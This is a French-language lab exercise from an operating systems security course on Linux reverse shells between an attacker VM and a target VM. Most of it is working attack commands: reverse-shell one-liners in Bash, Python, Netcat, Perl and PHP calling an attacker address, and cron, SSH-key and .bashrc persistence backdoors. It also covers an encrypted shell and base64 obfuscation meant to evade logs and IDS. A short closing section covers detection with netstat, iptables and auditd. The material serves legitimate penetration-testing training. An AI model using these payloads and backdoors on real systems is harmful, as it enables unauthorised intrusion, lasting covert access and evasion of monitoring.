Aller au contenu principal

Lab 9.2: Reverse Shell Linux

Objectifs d'Apprentissage​

À la fin de ce laboratoire, vous serez capable de:

  • Créer des reverse shells Linux avec différentes techniques
  • Utiliser Bash, Python, Netcat pour établir des shells
  • Stabiliser un shell basique en shell TTY complet
  • Comprendre les one-liners de reverse shell
  • Établir persistence avec reverse shells
  • Détecter et bloquer les reverse shells Linux
  • Comprendre les différences entre shells Linux et Windows

Durée Estimée​

30 minutes

Prérequis​

  • 2 VMs: Kali Linux (attaquant) + Ubuntu/Debian (cible)
  • Réseau interne configuré
  • Compréhension de Lab 3.2 (Reverse Shell Windows)
  • Lab 9.1 (Linux privilege escalation) complété

Contexte Professionnel​

Les reverse shells Linux sont utilisés par:

  • Pentesters après exploitation initiale (web shell, SSH compromis)
  • Malwares Linux pour communication C2
  • APT groups pour maintien d'accès long terme
  • Red Teams pour simulations d'attaques

Utilisé après:

  • Exploitation de vulnérabilité web (RCE)
  • Exploitation de service Linux
  • SSH brute force réussi
  • Credential stuffing

AVERTISSEMENT ÉTHIQUE ET LÉGAL​

Établir un reverse shell sur un système sans autorisation = Accès non autorisé.

AUTORISÉ:

  • VMs de lab isolées
  • Tests autorisés avec contrat
  • Plateformes légales (HTB, THM)

INTERDIT:

  • Serveurs réels sans permission
  • Maintenir accès non autorisé

Conséquences: Crime informatique (Code criminel art. 342.1).

Partie 1: Reverse Shell Bash​

One-Liner Classique​

Sur VM Attaquant (Kali), écoutez:

nc -lvnp 4444

Sur VM Victime (Ubuntu), exécutez:

bash -i >& /dev/tcp/192.168.100.10/4444 0>&1

Explication détaillée:

bash -i              # Shell interactif
>&                   # Redirection stdout et stderr
/dev/tcp/IP/PORT     # Device spécial bash pour connexions TCP
0>&1                 # Redirection stdin

BOOM! Connexion établie!

Sur Kali, vous voyez:

listening on [any] 4444 ...
connect to [192.168.100.10] from (UNKNOWN) [192.168.100.20] 54321
user@target:~$

Shell complet de la victime!

Questions:

  1. La connexion reverse shell s'est-elle établie?
  2. Quelle est la différence avec le reverse shell Windows?

Partie 2: Variations de Reverse Shells​

Python Reverse Shell​

Version Python 2:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Version Python 3:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Avantage: Fonctionne même si /dev/tcp n'est pas disponible

Netcat Reverse Shell​

Si netcat disponible sur cible:

nc 192.168.100.10 4444 -e /bin/bash

Si nc sans option -e (version BSD):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.100.10 4444 >/tmp/f

Perl Reverse Shell​

perl -e 'use Socket;$i="192.168.100.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

PHP Reverse Shell​

Si PHP disponible:

php -r '$sock=fsockopen("192.168.100.10",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

Questions: 3. Quelle méthode fonctionne sur votre système cible? 4. Laquelle préférez-vous et pourquoi?

Partie 3: Stabilisation du Shell​

Problème des Shells Basiques​

Shell basique a des limitations:

  • Pas d'autocomplétion (Tab)
  • Pas d'historique (flèches haut/bas)
  • Pas de clear screen (Ctrl+L)
  • Ctrl+C tue le shell
  • Pas de vi/nano fonctionnel

Méthode 1: Python PTY​

Dans le reverse shell, exécutez:

python3 -c 'import pty; pty.spawn("/bin/bash")'

OU:

python -c 'import pty; pty.spawn("/bin/bash")'

Résultat: Shell interactif basique

Ensuite, pour shell COMPLET:

# Dans le shell
export TERM=xterm

# Puis, appuyez Ctrl+Z (met en background)

Sur votre machine attaquant (Kali):

stty raw -echo; fg

Puis Enter 2 fois

BOOM! Shell TTY complet!

Testez:

  • Tab pour autocomplétion
  • Flèches pour historique
  • Ctrl+L pour clear
  • vi/nano fonctionnent!

Méthode 2: Script Command​

script /dev/null -c bash

Shell interactif immédiat!

Méthode 3: Expect​

expect -c 'spawn bash; interact'

Questions: 5. Avez-vous réussi à stabiliser le shell? 6. Quelles fonctionnalités fonctionnent maintenant?

Partie 4: Persistence Linux​

Cron Job pour Reconnexion Auto​

Créer script de reconnexion:

echo '#!/bin/bash' > /tmp/reverse.sh
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' >> /tmp/reverse.sh
chmod +x /tmp/reverse.sh

Ajouter au crontab:

(crontab -l 2>/dev/null; echo "* * * * * /tmp/reverse.sh") | crontab -

Exécution: Chaque minute!

Vérifier:

crontab -l

SSH Key Backdoor​

Ajouter votre clé SSH:

mkdir -p /home/user/.ssh
echo "ssh-rsa AAAA... votre_clé_publique" >> /home/user/.ssh/authorized_keys
chmod 600 /home/user/.ssh/authorized_keys

Connexion future:

ssh user@192.168.100.20

Accès permanent sans mot de passe!

Bashrc Backdoor​

Ajouter au .bashrc:

echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /home/user/.bashrc

Chaque fois que user ouvre un terminal: Reverse shell!

Questions: 7. La persistence via cron fonctionne-t-elle? 8. Comment détecter ces backdoors?

Partie 5: Chiffrement et Obfuscation​

Reverse Shell Chiffré​

Avec OpenSSL:

Attaquant (écoute avec SSL):

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

Victime (connexion SSL):

mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.100.10:4444 > /tmp/s; rm /tmp/s

Communication chiffrée! IDS/IPS plus difficile à détecter.

Obfuscation Base64​

Encoder le payload:

echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' | base64

Résultat:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK

Exécution:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK | base64 -d | bash

Moins suspect dans logs!

Questions: 9. Le shell chiffré fonctionne-t-il? 10. Pourquoi l'obfuscation est-elle utile?

Partie 6: Détection et Défense​

Détecter Connexions Sortantes​

Lister connexions actives:

netstat -antup | grep ESTABLISHED
ss -tunap
lsof -i

Chercher bash/sh avec connexions réseau:

ps aux | grep bash
lsof -i -a -c bash

Si bash a connexion TCP sortante: Suspect!

Bloquer avec iptables​

Bloquer connexions sortantes sauf autorisées:

iptables -P OUTPUT DROP
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

Reverse shells bloqués!

Monitoring avec auditd​

Surveiller exécution de bash:

auditctl -a always,exit -F arch=b64 -S execve -F path=/bin/bash

Logs dans: /var/log/audit/audit.log

Questions: 11. Avez-vous détecté le reverse shell avec netstat? 12. iptables a-t-il bloqué la connexion?

Livrables​

  1. Rapport avec différentes méthodes de reverse shell testées
  2. Shell stabilisé et fonctionnel
  3. Persistence configurée et testée
  4. Détection et blocage démontrés

Commandes de Référence​

Reverse Shells​

# Bash
bash -i >& /dev/tcp/IP/PORT 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Netcat
nc IP PORT -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP PORT >/tmp/f

Stabilisation​

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

Persistence​

(crontab -l; echo "* * * * * /tmp/reverse.sh") | crontab -
echo 'clé_ssh' >> ~/.ssh/authorized_keys
echo 'payload' >> ~/.bashrc

Conclusion​

Techniques maîtrisées:

  • Reverse shells Linux multiples méthodes
  • Stabilisation TTY complète
  • Persistence via cron, SSH, bashrc
  • Chiffrement et obfuscation
  • Détection et défense

Différences Linux vs Windows:

  • Linux: Plus de méthodes natives (bash, python préinstallés)
  • Stabilisation plus facile (PTY)
  • Détection similaire (netstat, monitoring)

Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 9